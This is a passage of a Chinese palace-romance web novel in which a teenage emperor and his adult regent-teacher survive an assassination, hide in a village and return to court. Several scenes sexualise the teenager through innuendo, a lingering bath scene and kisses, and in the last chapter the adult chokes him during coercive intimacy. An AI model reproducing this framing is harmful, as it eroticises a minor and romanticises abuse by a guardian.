召唤仪鸾司的特制哨子也在逃亡中遗失,他现在既希望有人来,又担心来的是索命的鬼,重重心事不好在李大哥他们面前展现,毕竟对方已经帮了他们足够多,他白天干活也是担心如果沈衡一直不醒,对方还愿不愿意他们这两个吃白食的在这儿住下去。 毕竟世人逐利,他现在确实无法给人提供什么利益。 但夜幕降临,他在空荡荡的房间对着双眼紧闭的沈衡,一股无力感涌上心头。 比起那夜杀手洪水一起冲到面前那种确定会死的干脆,现在这种绝望又漫长的时光更难熬。 宋南卿抓着人的手放到自己脸边,用尽全力去感受沈衡的体温,手指和手心的每一个茧子都让人安心,都能让他联想起往日沈衡捏他脸时、轻抚脸颊时、涂玫瑰膏子时的触感。 “你不是很厉害吗?为什么现在连起都起不来。”宋南卿嘴角下垂,眼神不聚焦,“你死了之后我就可以为所欲为了,你的军队你的兵,你的追捧者,你的剑和武器统统是我的了,天下也全是我的了。” “你的努力全都白费了你听见了吗?” 房间里充满了草药的味道,但浸泡其中太久,宋南卿已经习惯到闻不出来。脱下龙袍冕服,穿着粗布麻衣,他本就瘦的身躯晃在里面显得更可怜。烛火晃动,他伶仃的影子也随之在墙上晃动。 “不醒算了,你知道我一个人没办法生活的,等你死了我正好回去找九哥,我求求他说不定他就不杀我了。”宋南卿眼睛被烛火晃的含不住泪水,呆呆盯着前方自言自语,也不知道说给谁听。 “人家可是我亲哥,肯定不像你一样惹生气了就罚我,说起来我和九哥许久没见,小时候他其实还对我……” “咳…你敢!” 沙哑低沉的声音从身旁响起,宋南卿惊喜地转头,发现沈衡正用一双黑漆漆的眼睛盯着自己,不温和、不从容、不镇定,像是点燃了的冰湖,汹涌又热烈。 宋南卿像个还巢的孤雁朝他扑过去,用力抱紧了人的脖子。 黑夜的竹屋里,下了一场淅淅沥沥的小雨,淋湿肩膀,淋湿沈衡的心脏,淋湿宋南卿的眼睛。 他费力抬指擦了一把少年满是泪水的脸蛋,边咳边笑,“让陛下失望了,没死成。” 宋南卿瘪着嘴推了他一把,引起沈衡低低的痛吟。 “对不起,你没事吧,哪里痛?”闪烁的眼睛里充满关切和懊恼,宋南卿坐在床边,伸手想碰刚刚自己推到的地方又不敢,长长的睫毛上还挂着泪珠,从来没有过的小心翼翼的样子让沈衡觉得新鲜。 “没事,之前受过比这更重的伤都没事,别担心。”沈衡喝了一口宋南卿喂过来的水,转动眼睛打量着这个屋子。 宋南卿一边给他介绍目前所处的状况,一边眼都不眨地盯着沈衡的脸,生怕他醒过来是一场幻觉。 握着杯子的手被沈衡捧住,“手怎么了?”沈衡皱眉问。 原本白嫩细腻光滑如绸缎的手指,现在粗糙了许多,指尖还有一些细小的伤口,不在意根本看不出来,如果不是他说,宋南卿自己都未必察觉出。 “没事啊,我去叫李大哥来给你看看,他医术很厉害的,比那些御医强多了,先生等着我!”这些天在李家村跟救命恩人学着采药,也顺便学了很多治病救人的知识,这些民间的郎中和宫里不一样,讲究一个快速有效。很多类似邪修的方法宫里御医不屑一顾,却扎实有效,宋南卿学了几天想立马回去把御医开了。 他的脚刚移动,就被沈衡拽住,没有伤的那条胳膊把宋南卿揽过去,热热的吐息打在人耳侧。 “先别急,这都那么晚了,明天再打扰吧。”沈衡躺在枕头上说,说完就看见少年的眼底蓄满泪水,一点点顺着脸颊滑落,像是断了线的珠子,一滴接着一滴,多到他伸出手心去接都接不过来。 沈衡失笑,缓缓道:“怎么了,真因为我没死成难过啊。” 宋南卿一听他那么说,连忙抬起手指捂住了他的嘴,皱着一张梨花带雨的脸带着哭腔道:“不许再说这种话了。” 他努力想把眼泪忍回去,憋了半天眼眶通红,含着一汪晶莹泪水就是忍住不落下来,胸口起伏着忍耐想爆发的情绪,还是因为手指底下那属于沈衡呼出来的热气而庆幸。 直到现在,他终于有了劫后余生的感觉。 小声的抽泣时不时响起,宋南卿哆哆嗦嗦凑近男人脸庞,一滴泪水挂在腮上半落不落,啜泣着轻声问:“想亲一下……好不好,就一下,求求你了。” 晶莹剔透的泪珠比琉璃还脆弱,比宝石还无暇,上挑的猫眼蒙上一层水雾圣洁又可怜,带着献祭自己般的哀求,那滴泪挂在腮上,映着烛火,在沈衡眼里比千年的宝石都要珍贵。 他抬手按住宋南卿的头微微往下用力。 干燥的唇瓣彼此相贴,先是痒意,再是柔软,然后是无与伦比的安全感。 感受唇瓣的温度,共享同频的心跳,这个吻像风一样轻、像云一样软,但交织在一起的呼吸和心跳让宋南卿觉得自己飘在空中的灵魂终于回到了它的栖息之所。 后脑勺上不轻不重的力度让人很舒适。 他需要被什么抓住,被什么握紧,才能感觉到自己存在,如果他是风筝,沈衡就是他身上的线,他想飞得很高俯瞰大地,但他也想有所牵制,和地面建立联系。 随着唇瓣分开,宋南卿睫毛扇动,手指攥在自己的裤子上,有种奇怪的感觉。 他的心跳的好快,不是因为刺激,不是因为察觉到危险,他明明觉得很安心,但为什么会心跳加速呢? “我…我去找李大哥,你先躺好。”宋南卿抬起袖子擦了擦嘴唇,眼神躲过沈衡一溜烟朝外跑去—— 作者有话说:宋南卿对醒来的沈衡说:你知不知道,我刚刚喝了全世界最好喝的鸡汤[可怜]给你一碗[抱抱](这次是抱) 第34章 第三十四章 那么大会不会吃不下 又过去几日, 沈衡能够下地,多亏了他身强体壮恢复机能好,加上救命恩人妙手回春, 除了胸口上的伤还比较严重, 其余的已无大碍。 今日翠枝回家走亲戚去了,李大哥也有事外出, 宋南卿帮忙喂完鸡之后, 手里提着摘菜的篮子朝旁边喊:“中午你想吃什么, 我做给你吃呀!” 菜园里的瓜果蔬菜长的旺盛,豆角顺着架子往上爬, 长得比宋南卿人还高, 他靠在架子前伸手晃了晃垂下的豆角,莫名觉得这绿油油的玩意长得像条蛇,缩了缩脖子连忙远离。 沈衡正单手修补着破损的栅栏, 闻言抬头看他, 勾起一边嘴角问:“卿卿下厨?” 似是听出他语气里的怀疑意味, 宋南卿把篮子一扔, 叉着腰瞪眼说:“对呀!他们都不在, 而且最近我和翠枝姐学习了,先生不相信我?” “没有。”沈衡把最后一截篱笆加固好, 起身来到菜园,刚提起菜篮,就被宋南卿夺了过去。 “你伤还没好, 我来。”穿着粗布衣,这几日又是摘菜又是上山,宋南卿比之前结实了不少,浑身线条更加流畅, 眼神也更加清亮,没了裹在金丝锦衣里,躺在金玉宝器中脚不沾尘、手不沾水的那种奢华艳丽到糜烂之感。 田间蔬菜新鲜,松软的泥土散发着朴实的芬芳,宋南卿摘了两个茄子说:“我记得宫里做的茄子煲还不错,只是这里好像没有火腿也没有瑶柱。” 转头看见旁边的槐树上结满了绿色的叶子,他仰头指了指,一脸惊喜:“还有槐叶冷面,现在正是时节呢。” 一谈到宫里的食物,空气中冷了一瞬,他们俩现在在这个不知名的偏僻小山村,不知何时才能回去,贸然行动是不行的,一提起皇宫,又想起那些刀与剑,黑与暗。 沈衡看他情绪低落下来,轻轻拍了拍他的肩膀,“听说你还学炒鸡蛋了,再给我展示一下?” 一阵微风吹过带来清凉,绿油油的蔬菜叶子在风中摇晃。宋南卿点头,又随便摘了一点菜,垂头迈进厨房里。 黑色的大锅嵌在灶台里面,沈衡蹲下生火,虽然摄政王做的久,但这些琐碎的生活小事他竟然也很在行,三两下火苗升起充满炉膛,宋南卿微微张大嘴巴,咧开嘴一脸不可置信,“先、先生这你也会?” “顺手而已。”沈衡淡淡点头,像是很没把这件小事放心上。 宋南卿心底哼了一声,不免又较上劲了,把鸡蛋也“顺手”磕开打进碗里,一个“顺手”,蛋壳也掉落进去。 “哎呀!”他急忙拿筷子捞,又不小心夹碎了,费了好大劲才捞出来,但这个时候锅已经烧热了,油倒进去滋滋作响,他一手端碗一手捂耳朵,像兔子一样蹦跳着往锅里倒鸡蛋。 “滋啦——”一声,蛋液和油在锅里膨胀飞溅,宋南卿“啊啊”叫着后退,慌忙间一个锅盖从天而降,挡在了他和油锅面前。 简直是天降祥瑞!宋南卿转过头夸奖的话还未说出口,沈衡弯腰倾身在看锅里鸡蛋的状态,二人一仰头一弯腰,差点脸对脸贴上。 挤在不算明亮宽敞的厨房,周围还飘着木头燃烧的烟和油烟味,屋外初夏的蝉鸣阵阵,青草树木连绵。二人的鼻尖相对将触未触,熟悉的脸近在咫尺,微风从窗户缝隙吹进,发丝飘起相互纠缠。 宋南卿手里还捧着碗,想说的话因为这个凑近也忘到了脑后,只是抬眼懵懵看着人,微微扩散的瞳孔放大,本来就尖的下巴经过这几日风波更瘦削。 清澈的眼神从沈衡的眼睛移到鼻尖,又往下滑到嘴唇。他的双唇微微张开一条缝隙,露出里面的一点牙齿,糯白和嫣红的颜色形成极大反差,从这个角度看,宋南卿更有小时候的影子,微鼓的脸颊小巧的下巴,瞪得圆圆的眼睛偏偏眼尾带着一丝上扬的诱惑。 小时候那个可爱清纯的少年和现在宋南卿迷离凑近的脸重叠到一起,随着他唇珠翘起无意识做了一个索吻的动作,沈衡扶住他的肩膀往下压,越过宋南卿拿起一边锅台上的铲子。 原本吹起的风又静止,宋南卿低头看着碗愣了一瞬,又伸出一只手轻轻拍了拍自己的脸。 “鸡蛋怎么样,我怎么闻到了……”他凑近去看锅,发现底下一面已经微微发黑。 宋南卿劈手夺过铲子在锅里翻搅,努力好久终于得到了一份看起来还算正常只是微糊的炒鸡蛋。 他端着盘子不自觉扬起下巴,在沈衡面前转了一圈,又把盘子在人眼前晃。 “我就说我有天赋吧!”他把冒着热气的鸡蛋放在桌上,深受鼓舞,举起手中紫黑色的茄子,上下打量了一番,“这个好长哦,比我脸还长。”他一边比划着把茄子举到自己脸旁边,拉过沈衡袖子非要他看。 “那么大会不会吃不下啊?” 在黑紫色茄子的对比下,宋南卿的脸显得又白又小,细细的手指握在上面,几乎要圈不完全。又粗又长的茄子其实很常见,只是他平常见的都是做好烹熟的,所以才如此惊奇。 沈衡气息微沉,移开眼看向远处对面的山,余光看见宋南卿握着那根东西甩,听到他幼稚又无辜的发问,彻底咬住了牙根,伸手把那根茄子夺了过来。 “你吃的下,我来切。” “干嘛!说好了要我来做菜的。”宋南卿不高兴地跳脚。 沈衡手起刀落已经把茄子从中间截开了,“我帮你切好,大厨来炒,主厨都是不管切菜这种小事的。”常年拿刀的手,握起菜刀来也无比娴熟,手起刀落,那根茄子很快从长柱形变成了大小均匀的丁状,熟练的像是在丰乐楼干过二十年备菜工。 宋南卿挑起眉毛,眼中全是惊奇,但在震惊之余,他才突然想起来什么似的,忙挽住沈衡一边胳膊轻轻说:“你伤好了吗?就切菜。” “已经不疼了。”沈衡说的很顺嘴。 但宋南卿才不信他,换药的时候他很清楚那些伤到了什么地步,但从来没听沈衡说过一声疼,所以可见沈衡的话不可信。等回到宫里,一定要找名医再给他看看,千万不能留下什么病根。 一边想着,宋南卿一边把沈衡赶到一边让他歇着,独自掌勺烹饪熬制了一锅色香味俱失的茄子。 低矮的木桌前,宋南卿坐在圆凳上看着眼前的两盘菜,眼神飘忽。 “那个,有些菜就是看起来不好看,其实尝起来还不错的。”他心虚开口。虽然平常在宫里他对不好看的菜是一口也不会尝,并且发表过“色香味”色排在第一的著名理论,让御膳房厨师回回都在摆盘和造型上下尽了苦功夫。 沈衡端坐桌前,肩宽背直,捧着碗夹了一筷子炒鸡蛋放入嘴里,莫名带上了虔诚的意味。 沈衡这个人可能因为行过军,吃相端正,不管好不好吃都吃的下去,而且从他的反应上根本判断不出饭菜好坏来。 但不管再怎么吃相端正,在宋南卿从他嘴里听到了清脆动听但绝不属于“炒鸡蛋”这道菜会发出的动静时,嘴角颤抖了一瞬。 沈衡从宋南卿颤抖的手指间接过那张帕子,把嘴里的蛋壳吐出,表情依然冷静没有波动。 他捧着碗又向那道茄子伸出了筷子,快到宋南卿都没来得及阻止。 “那个…这个,可能我水放多了,要不先生你还是……”在宋南卿面露尴尬劝阻的时候,沈衡又夹了一筷子炒鸡蛋放入嘴中,扒拉了一大口饭进去。 “还不错。”沈衡把盘子拉近,“尝尝?” 宋南卿正无措扣手,听到这句话眼睛突然亮了亮。 沈衡一如平常用餐的速度,快但姿态优雅,抽空瞥了一眼宋南卿,“再不吃,我可就要吃光了。” 第一次做菜的人会十分在意别人的评价,宋南卿观察了一会儿发现沈衡好像真的没有骗他,于是狠心朝盘子里夹了一块茄子放入嘴里,那一瞬间,他懂了做饭要人命是什么感觉。 他看着沈衡从容吃饭的动作,心里弥漫着酸酸的感觉,抿了抿唇。 可能是发现他状态不高,沈衡看着他道:“你是皇帝,本来就不需要做这些,但还是为了挑战自己做了,这是勇气。” “第一次下厨没有半途而废,完整做完了两道菜,这是坚持。” “能直面自己做的还不算好,有反思的意识,这是自省。” “卿卿,你已经很棒了。”沈衡轻轻摸了下他的头,“没有人第一次做就能做到完美,这样要求自己太苛刻,我对你没有这种要求,希望你自己也不要有。” 宋南卿低着头嗯了一声。 他已经很棒了,从那个雨夜里应外合撬开锁、跟沈衡躲避追杀,拉着受重伤的沈衡在暴雨里躲人躲山洪,再到来到李家村,学习换药治伤,在周围给仪鸾司留线索自救,力所能及帮李大哥家干活还人情,他每一步已经做的很好了。 没有人能在这种环境里做的比他更好。 这些不尽人意的地方,不是他能控制的,也怨不到他身上。 宋南卿把头轻轻靠在沈衡肩膀上,“我不喜欢做菜。” “嗯,不喜欢的就不做。”沈衡低声说,“我来做。” 温热的身体传来热气,跟前几天暴雨里逐渐失温的肌肤完全不同,宋南卿一手圈住人的脖颈,想往沈衡胸前靠,但又顾忌着他的伤,不敢压到他,只能仰起脸蹭着人下巴感受体温,像小狗一样。沈衡一只手掌在他后脑勺处,指头插进发丝里,食指轻轻搓着发根皮肉。 鸡舍里的鸡突然叫起来,扑腾的地上全是羽毛。 李大哥急急忙忙从门外赶来,拉开厨房的门叫道:“出事了!” 他在村口发现了不妙,连忙赶回家,卧房都没人,这时间想来是在食堂用饭,于是想都没想就上手拉开自己厨房的门,没想到看到了这一幕。 二人坐的很近,平常人家兄弟吃饭就算亲近顶多是我打你一下你还回来,碰一下手都觉得不自在,更别说这样搂着脖子贴在一起了,那亲昵的样子加上二人过分出众的面容,在这简陋的小屋里显得活色生香。 他身后跟着跑来了一个男人,探头进来的时候,刚好看见宋南卿从沈衡颈窝里抬起脸,眼尾一勾秋波摇晃,晃动他心立马停跳了一瞬。 “大哥,这就是你说的那两人?在你家白吃白住那么些天就算了,还搞这等子上不得台面的事!你有钱都给他们花了,我还是不是你亲弟弟啊!”那男人满脸责问,“要不是我偶然听起嫂子说还不知道,大哥你可真大方,怎么对我就那么抠!” 李大哥推了他一把要进屋,没想到被他拦下了,肥胖的身躯挡在门前不依不饶,“我是你亲弟弟,之前赌钱输了他们要打死我你都见死不救,这么两个来历不明的断袖就那么在你家吃白食,你还乐呵呵的,哥你是不是脑子采药采坏了。” “我不管,你们在我大哥家的一饮一食全都得折算成银钱给我,我哥是傻子我可不是!不把钱交上来你们别想走!” 那胖子一脸无赖的样子,被李大哥扇了一巴掌推开。 “我们不是……”宋南卿摆了摆手想解释他和沈衡的关系,一时又不知道该从何说起,只能僵在那里。 好在李大哥没有在意,几步上前急切道:“有人追来了,身上带刀,我在村口看见了他们在打斗,似是两波不同的人,我思忖大概是来寻你们的。” 听到这话,宋南卿和沈衡对视了一眼,心中思绪翻飞。 两拨人,会是谁?—— 作者有话说:随章掉落皇帝陛下亲手制作美食:【色香味俱失茄子煲】x1,【酥脆蛋壳炒蛋】x1[红心] 第35章 第三十五章 其实我们不该这样 说曹操, 曹操就到。正在谈话间,两队人马纷纷赶来,锋利如剑训练有素的队伍一边打斗一边靠近了这个被篱笆围起来的房子。 李大哥的胖子弟弟正喋喋不休, 控诉两个人吃白食又控诉他哥胳膊肘朝外拐, 打眼一看窗外整个人都愣住了,这辈子没见过的情景在窗外上演。 两拨人马挥舞手中利刃, 身形矫健又悄无声息, 以前从来只在书中看过的武术招式在眼前划过, 那一刀刀带着风声和血腥气,缠斗在一起又快速分开, 黑色的衣服衬得人高大干练, 每一个人都像是未出鞘的一把武器,动作干脆利落又刀刀致命,在李家村的小角落掀起一阵旋风。 沈衡单手推开大门, 眼见他要往外走, 李大哥轻叫了一声, 为他担心。这来路不明的人一看就是专门训练过的杀手, 他们不是说被追杀才逃走的吗?怎么见了这些人反而要迎上去。 “别打了。”低沉有力的声音从门口传到每个人耳朵里。 那个胖子见他竟然不躲起来还敢迎上去, 露出不可置信的表情,他拉着他哥躲到桌底, 道:“好言难劝该死的鬼,以为自己是谁啊,说别打人家难道还真的听他的吗?” 胖子翻了个白眼, 心想真能装,在他小情人面前装什么厉害,被这群手下无情的人宰了就知道厉害了,他混迹赌场那么久, 对这些亡命之徒最熟悉不过,外面两拨人看起来就不是等闲之辈,还敢去招惹。这男人啊,不装就不会死。 他眼睛转了转看向一旁的宋南卿,心底暗暗赞叹:真是漂亮。在那么漂亮的小美人面前,确实不装不是男人哈。 不过当他一边盘算着如果那个人被外面杀手杀了,他可以以什么理由把这小美人拐走时,门外的打斗声竟然真的停止了。 太阳高高挂在天上,没有从西边升起也没有从东边降落。 胖子心想:你们都那么听话吗?是不是他出去喊一声别打了也会是这个效果。 正想着,站在最前方的一个劲装黑衣人手持短刀飞速上前,剑锋直指沈衡的面颊,削铁如泥的刀几乎已经割断了风中扬起的发丝,但沈衡分毫未动,站在那里冷冷看着他。 胖子瞳孔一缩,就在血溅当场的前一秒,他听见了一道清丽带着怒意的声音——“魏进,住手!” 漂亮到不像话的少年在太阳照耀下迈出门槛,瞬间,对面那群黑衣人纷纷收了武器齐刷刷跪地。沈衡和宋南卿左右并肩而立,两支队伍也一左一右跪地低头行礼。在村庄这片还算开阔的空地,场面相当壮观。 魏进低哑着声音道:“奴才救驾来迟,请陛下责罚。”他的眼睛里遍布红血丝,再看到宋南卿,又惊喜又自责。 看他这样,宋南卿也知道,他是因为觉得这次自己遇害是摄政王干的,所以才出手相逼。毕竟之前他跟魏进暗示了很多次关于摄政王和自己的关系,他那么想也情有可原。 宋南卿和沈衡不约而同留下记号,他们各自的人顺着记号找来,岂料撞在一起,在未沟通的前提下都以为对方是暗害自己主子的杀手,所以才一边打得不可开交,一边又着急寻主,才有刚才情形。 “宫里怎么样了?”宋南卿让他们散开,别都堵在人家门前,看起来太过显眼。 魏进简短说了这几天宫里发生的事,“消息封锁着还未传出,目前对外的说法是您和摄政王正在山洪爆发地安置流民,替国祈福。宫里……目前是九王和贾良大人在操持,他们私下有交集,这件事可能……” “这个不着急。”宋南卿抬手按在他的肩膀上,“可有带御医来?” 魏进点头,“有,陛下您……” “那么多人目标太大,我们先撤离,让御医赶快看看摄政王的伤。”宋南卿指了指屋里的李大哥,“他是我和摄政王的救命恩人,替我好好谢谢。” “李大哥,承蒙关照,后会有期。” 一阵风吹来,黑色的衣角连成片,在这片整齐划一的黑色包围下,宋南卿和沈衡转身离开了篱笆包围的院落,仿佛没有出现一样。 李大哥和胖子愣了半晌才从桌子底下出来,面对面发呆怀疑自己刚刚是不是出现幻觉了,但之前还充满戾气的黑衣人现在站在自己面前却面带微笑,问他除了良田、银两,还有什么想要的,因着宋南卿那句后会有期,那名侍卫思忖片刻,揣摩圣意后又问他是否想搬到京中居住。 “刚刚你们叫他、那个人,陛…陛下?”胖子抖着声音一脸不可置信。 侍卫没回答,毕竟陛下说的救命恩人可不包括他。 李大哥手都在抖,他一边回想这几日自己与二人的互动是不是不够恭敬,一边想着那个高大男人身上的刀伤,二人在厨房贴在一起的亲昵样子又浮现在眼前。他只是个村夫什么都不懂,但在医馆里偶尔听人说起也知道摄政王和陛下是对立的,怎么这两个人死到临头连手都分不开。 他们真是那种身份吗?但自己一介村夫实在没有骗他的必要。想起少年称赞自己医术时的表情,李大哥心一横,道: “我想在京中开一间医馆。” ———— 一驾低调的马车平稳行驶过宫门,马车前方坐着两名身材魁梧的侍卫,一人抱着一柄剑眼神锐利,有什么风吹草动都不能瞒过他们的眼,前后两驾马车里挤满了仪鸾司侍卫和沈衡的暗卫,蓄势待发。 宋南卿一回到宫里就迫不及待要去青莲池里泡着,这些天在外面不能好好泡澡,他感觉自己整个人都要臭了。 沈衡在御医看过伤口换过药后也要跟着去。宋南卿不让他回府,非说在宫里住着养伤方便,但又不想和他一起共浴。 “你身上有伤不能泡,万一把我池子里弄的都是血味,之后就没办法用了。”宋南卿鼓着脸说,“先生现在要做的是静养,静养你懂吗?” 沈衡低声说:“不用你惯用的那个池子。” 宋南卿不想答应,他感觉最近自己有些奇怪,原本面对沈衡他是很自如的,但不知道是不是因为那一朝生死与共,再与他亲密时总忍不住反思,对方对自己那么好,他却总想着引诱,让沈衡陷入暧昧的沼泽,让沈衡成为众矢之的。 如果他真的爱上自己,自己会开心吗?为这份爱开心,还是为了自己得逞开心,或者是为了他终于有把柄开心。 他才十几岁,同摄政王如有点什么,责任和罪过一定不会在自己身上,世人一定会觉得是摄政王诱哄年幼丧母丧父的陛下,为了揽权夺势无所不用其极,一旦大臣心里有那么点怀疑,摄政王离下位就不远了,这是没有人可以忍受的不伦和禁忌。 这也会是沈衡最大的把柄和污点。 但另一方面,宋南卿又在想,沈衡那夜不顾一切挡在自己面前,到底是因为他是宋南卿,还是因为他之前使的暧昧手段奏效了,如果他之前没有铺垫那么多,表达那么多或真或假的感觉,施展从书上学来的手段,沈衡还会做出同样的选择吗? 他喜欢的到底是自己,还是那个给了他保护欲侵占欲的下位者。 他既然知道与自己亲密太过会引发争端,就像在李大哥家厨房一样被骂断袖,为什么还要纵容自己。 脑海中有太多太多想法,在一夜之间改变了。宋南卿知道自己不需要想那么多,沈衡从小就教过自己,感情对帝王来说是最无用的东西,他只需要把每个人当做棋子,给他利益,然后为自己所用,就那么简单。 但沈衡明明已经按他预想的做了,为了救他奋不顾身了,他的目标好像看似已经完成了,为什么自己还是不高兴。 宋南卿全身都浸泡在温热的池水里,胳膊曲起趴在池边,湿透的米黄色浴袍贴在后背,勾勒出从腰到胯的曲线。薄薄的浴袍遮不住什么风景,肉色在底下若隐若现。 他伸长胳膊捞起池子边摆放一杯杏皮水,仰头喝一口,酸甜的滋味在口腔蔓延,正在回味之时,抬眼就看见沈衡从屏风后侧慢悠悠走过来,敞开的衣领处露着已经结痂的伤口,肌肉轮廓起伏明显,脚下带风。门口服侍的下人齐刷刷站成一排给他行礼,待沈衡经过后又退回后面待命,不见踪迹。 宋南卿嚼着嘴里的杏肉,两腮微动,转眼间就看到沈衡来到自己面前蹲下,手自然而然地伸到自己的池子里。 “热不热?”他问。 现在这个时节确实有一点不太适合泡汤了,宋南卿摇头,“还好,你要试试吗?”后面那句完全是他知识学杂了条件反射,说完就后悔,但已经来不及了。 身边的池水荡起清波,池子台边上摆了一些新鲜绽放的花,插在瓶里放在缝隙中,看起来像是本就生长在此处,粉红鹅黄的花朵蹁跹,把池子里的光景挡住。 宋南卿被旁边的水花溅了一脖子,他愤怒转头,刚好看见沈衡胸口的那道不浅疤痕,暗红的颜色还未长好,在胸肌偏上的位置很是显眼。 他轻轻靠过去,伸手在上面要碰不碰,睫毛扇动掩住眼底色彩,“疼吗?”上次在这个池子里,这块地方还没有这块疤,他心底情绪很复杂,对着那儿吹了口气,黑白分明的眼睛朝上抬起观察着人的表情。 沈衡的喉结上下滑动,低声道:“不疼。” 宋南卿浑身泡在热水里,没有依托,抓住人的浴衣一角,低头说:“为了救我留下一道疤,你很开心是不是?” “这不是在战场,也没人知道你救了我,不会有军功章。” “我甚至怀疑这一切是不是都是你设的局,目的就是为了博取我的信任,上演一出苦肉计。” 沈衡拉过他的手放在自己胸口,“是,我的目的达到了吗?” 宋南卿转头,手底的心脏正在有节奏地跳动,细嫩的脖颈拉出一道修长的线,“没有,差得远呢。” 荡漾的池水摇出碧波,底下青莲纹样栩栩如生,在寂静的青莲池里,周围除了流动的水和弥漫芬芳的花香什么都没有,宋南卿的头发湿透了贴在腰上,勾勒出细细的线条。 沈衡单手捧住他的脸,朝自己面前转,拇指按住了他嘴角喝过杏汁的痕迹,轻轻摩挲,水温变得更热了。 热气从水中升腾,弥漫至二人脸上,修长的手指沾了水在嘴角擦拭,一点点移动到了唇瓣处,湿润了干燥的唇珠。 宋南卿掀起眼皮看向男人的眼睛,盈盈花香让人呼吸放缓,温度越高,花香弥漫的越盛,二人之间的距离越近。 没有人说话,也没有人暗示,宋南卿仰着头越凑越近,脸庞错开,交换了轻轻的一个吻。 像是手指轻轻触碰到水面,波澜未起就一触即分,但杏子的香甜已经被二人分享。 宋南卿静了半晌,抿唇轻声说:“其实我们不该这样,对吗先生?” 沈衡的手臂搂在他后腰处,低头看着人道:“对。” 第36章 第三十六章 师生不像师生,君臣不像君…… 温泉的水温取决于地下的温度, 天气热起来之后,宫中工匠做了引流管道从一边注入温凉的水,使池子里的水保持适宜人体的温度。 潺潺的流水声不绝于耳, 宋南卿低着头, 脸颊还沾着沈衡刚刚手指上留下的湿痕,湿成一缕的鬓角碎发贴在脸庞, 多了一分与青涩不同的风情, 像是在京兆府厢房吃的那颗汁水饱满的青梅果。 还未完全成熟的青梅带着不温和的酸, 隐藏在酸涩底色下是丝丝入扣的甜,脆生、多汁, 让人尝了一口后口齿生津忍不住继续咬下去。 少年因为刚才的吻, 胸廓起伏还未完全停歇,眼下带着热水熏出来的粉红,他动了动嘴唇, “明知道不对, 那为什么还纵容我。” 沈衡捏着他的下巴与人对视, “明知道这样不对, 陛下又为何要做?” 宋南卿挣脱他的手, 下巴上留下一道红红的指印。 他目光灼热,眼里蒙了一层水雾, 和周围青莲池里升起的热气混在一起,像极了明珠蒙尘,急待谁去擦拭。经过在宫外几天历险, 他更瘦了,之前沈衡好不容易养起来的肉又褪了下去,在宽大飘逸的衣袍中像是无根浮萍,一个人生闷气的样子孤单又可怜。 “我讨厌你。” 他握着杯子的手用力到发抖, 几乎要捏碎,举起就想摔出去。 沈衡冷静看着他道:“卿卿,你非要和我走到一条师生不像师生、君臣不像君臣的路上去吗?” 宋南卿握着杯子的手指僵住,眼里充满倔强,直直望着他,“是。” 如果现在退缩,他之前做的所有一切都将失去意义。他要沈衡和他纠缠不清,外界流言甚嚣尘上,把这段关系弄成摄政王没办法摆脱的把柄、永远受制于他的内情。他要沈衡永远没办法抛弃他、摆脱他,百年后提起沈衡,身边跟着的名字也一定要是他。 “你不是小孩子了,说出的话做出的事都要负责任。”沈衡在劝退他,他已经用了很多方式来让宋南卿后退,恐吓威胁软语低言都有,但没有哪一种真的让宋南卿停下。 那条界限早就模糊不清,以至于事到如今根本没办法分辨到底是谁先踏错了第一步。 “我知道。”宋南卿道,没有一丝犹豫,睁着一双明亮的眼睛看他,凑近亲了下沈衡的下巴,见他没躲后又伸出舌尖对着嘴角轻舔。 “你不喜欢吗?”他声音很软,缠在人身上的胳膊也很软,“先生你就没有错吗?一开始你就应该阻止我,别心软的。”他仰着头和沈衡嘴唇相贴,又分开了一些若即若离,说话时呼出的热气打在人鼻尖,带着杏子的酸甜。 “承认吧,你喜欢我,不然为什么要奋不顾身救我,明明我被那来路不明的杀手杀掉对你来说才是最好的结果。” 沈衡的衣服被他扒掉了一些,露出宽阔的肩膀,蜜色肌肤线条流畅,沾了汗和水珠,显得更添了几分色气。细细的手指顺着肩膀往下摸,手心感受到每一寸肌肉的隆起。 少年用一双水光潋滟的眼睛望着他,表面上摆出清纯无辜的表情,手指却在人身上摸来摸去,唇瓣还沾着沈衡嘴角的味道。 承认吧,你喜欢我,你爱上我了,你舍不得放下我,你拒绝不了我,你明知道我别有用心还是舍不得我进一步的接触,你知道我不像表面那么单纯,你知道我就是在逼迫你,你可以拿命救我,权势、生命、江山社稷,都没有我对你重要。 沈衡淡淡望着宋南卿,没有对方想象中被拆穿的尴尬或者发怒,干脆道:“我承认。” 宋南卿眼神微滞,瞳孔放大。 他捏住宋南卿作乱的手,一把压在后面池壁上,忽而压低身躯盯着人问:“但也要确认,陛下不愿意做受宠的乖孩子,非要来试试我的爱,是不是?” “我没有理解错陛下的意思吧?” 突然强硬的动作和从未有过的语气让宋南卿愣住了,他细细喘了几声像是被吓到了,不敢去看沈衡的眼睛。 沈衡一向是温和的、镇定的、不急不躁的,虽然宋南卿知道这只是他的伪装表象,也痛恨过他八风不动,但现在掀开表面那张皮的沈衡,好像真的让他有些招架不住了。 强制性的压迫感从上方袭来,宋南卿挣扎半天也没让人松开自己的手腕,或许是沈衡的话冲击力太大,他一时还没有反应过来,心脏跳动很快,有种面对危险时的慌张悸动。 脆弱细嫩的脖颈被大手不轻不重握住,宋南卿被迫仰头和沈衡对上了眼神。 那里是从来没有见过的幽暗,仿佛深不见底的深渊,灼热发烫又充满吸引力,看了一眼就要被吸进去再也逃脱不掉。宋南卿胸口起伏着往后躲,颈上压力骤然增加,他喘不过气,摇着头露出求饶的表情,嘴巴微微张开努力呼吸,舌尖徒劳地垂在外面也吸不进去空气。 “谁教你的不回答?”沈衡面上依然淡淡,但眼底的情感浓度却不断释放。 宋南卿的脚在水底扑腾,脖子上的力度被减少一些,他大口大口呼吸,内心反复挣扎,是或者不是都很难说出口。 沈衡眉头微皱,露出一个不耐烦的表情,宋南卿缩着脖子叠声叫道:“是、是,我承认。” 沈衡勾唇一笑,眉眼压低问:“承认什么,重复一遍。” 宋南卿左右转头想逃,但被沈衡困在手臂和水池间,他呼吸早就乱了,双脚蜷缩绞在一起,摇了摇头想撒娇,“先生……别欺负我了好不好。” 平常都有用的招式,放在今天却不行了。沈衡认真看着他,眼睛一眯道:“你以什么身份跟我说这句话?” 宋南卿愣住,咬住嘴唇忍了又忍,眼眶控制不住变红,就在泪水聚起要落的时候,沈衡张开胳膊把他搂进怀里,把人圈的密不可分。 “好了,不吓你了,还想跟我试试吗?”沈衡转头,食指屈起在少年眼底轻轻擦拭过泪痕。二人身上带着湿润的热气,抱在一起时皮肉相贴,有种说不出的缠绵。 宋南卿抬手想打他,又委屈地扁嘴落泪,带着哭腔答:“想。” 